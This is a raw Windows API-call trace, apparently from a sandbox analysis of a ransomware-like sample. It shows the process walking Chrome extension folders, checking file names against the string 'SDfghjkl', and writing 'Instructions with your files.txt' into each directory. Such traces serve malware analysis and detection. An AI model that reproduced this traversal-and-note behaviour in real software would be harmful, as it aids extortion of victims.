[0129.826] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x4454, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0
[0129.826] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\Instructions with your files.txt") returned 172
[0129.826] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.831] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.833] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.833] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.833] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.833] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.833] CloseHandle (hObject=0x130) returned 1
[0129.833] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.833] GetProcessHeap () returned 0x810000
[0129.833] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.833] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8636e710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8636e710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0
[0129.833] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\Instructions with your files.txt") returned 162
[0129.833] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0129.834] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0129.835] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0129.835] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0129.835] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0129.835] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0129.835] CloseHandle (hObject=0x12c) returned 1
[0129.835] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0129.835] GetProcessHeap () returned 0x810000
[0129.835] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0129.836] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.4_0", cAlternateFileName="")) returned 0
[0129.836] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\Instructions with your files.txt") returned 156
[0129.836] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0129.837] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0129.838] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0129.838] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0129.838] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0129.838] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0129.838] CloseHandle (hObject=0x128) returned 1
[0129.838] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0129.838] GetProcessHeap () returned 0x810000
[0129.838] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0129.839] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82abeb90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82abeb90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nmmhkkegccagdldgiimedpiccmgmieda", cAlternateFileName="NMMHKK~1")) returned 1
[0129.839] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda") returned 123
[0129.839] GetProcessHeap () returned 0x810000
[0129.839] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0129.839] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\*") returned 125
[0129.839] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82abeb90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82abeb90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0129.840] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\.") returned 125
[0129.840] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82abeb90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82abeb90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.840] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\..") returned 126
[0129.840] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e7880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e7880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.2_0", cAlternateFileName="100~1.2_0")) returned 1
[0129.840] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0") returned 133
[0129.840] GetProcessHeap () returned 0x810000
[0129.840] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0129.840] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\*") returned 135
[0129.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e7880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e7880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0129.875] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\.") returned 135
[0129.875] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82651e90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828e7880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828e7880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.875] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\..") returned 136
[0129.875] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82888510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8288ac20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba221600, ftLastWriteTime.dwHighDateTime=0x1d297b0, nFileSizeHigh=0x0, nFileSizeLow=0x32a2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_background.js", cAlternateFileName="CRAW_B~1.JS")) returned 1
[0129.875] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 152
[0129.875] StrStrIW (lpFirst="craw_background.js", lpSrch="SDfghjkl") returned 0x0
[0129.875] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8288d330, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82892150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xba221600, ftLastWriteTime.dwHighDateTime=0x1d297b0, nFileSizeHigh=0x0, nFileSizeLow=0x3b059, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_window.js", cAlternateFileName="CRAW_W~1.JS")) returned 1
[0129.875] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_window.js") returned 148
[0129.875] StrStrIW (lpFirst="craw_window.js", lpSrch="SDfghjkl") returned 0x0
[0129.875] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82896f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82899680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
[0129.875] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css") returned 137
[0129.875] GetProcessHeap () returned 0x810000
[0129.875] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.876] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*") returned 139
[0129.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82896f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82899680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.877] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\.") returned 139
[0129.877] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82896f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82899680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.877] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\..") returned 140
[0129.877] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82899680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaae46e00, ftLastWriteTime.dwHighDateTime=0x1cec2fb, nFileSizeHigh=0x0, nFileSizeLow=0x6cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_window.css", cAlternateFileName="CRAW_W~1.CSS")) returned 1
[0129.877] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css") returned 153
[0129.877] StrStrIW (lpFirst="craw_window.css", lpSrch="SDfghjkl") returned 0x0
[0129.877] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82899680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82899680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaae46e00, ftLastWriteTime.dwHighDateTime=0x1cec2fb, nFileSizeHigh=0x0, nFileSizeLow=0x6cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="craw_window.css", cAlternateFileName="CRAW_W~1.CSS")) returned 0
[0129.877] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\Instructions with your files.txt") returned 170
[0129.877] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.877] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.878] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.878] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.879] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.879] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.882] CloseHandle (hObject=0x130) returned 1
[0129.882] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.882] GetProcessHeap () returned 0x810000
[0129.882] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.882] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8289e4a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828a0bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828a0bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="html", cAlternateFileName="")) returned 1
[0129.882] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html") returned 138
[0129.882] GetProcessHeap () returned 0x810000
[0129.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.882] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\html\\*") returned 140
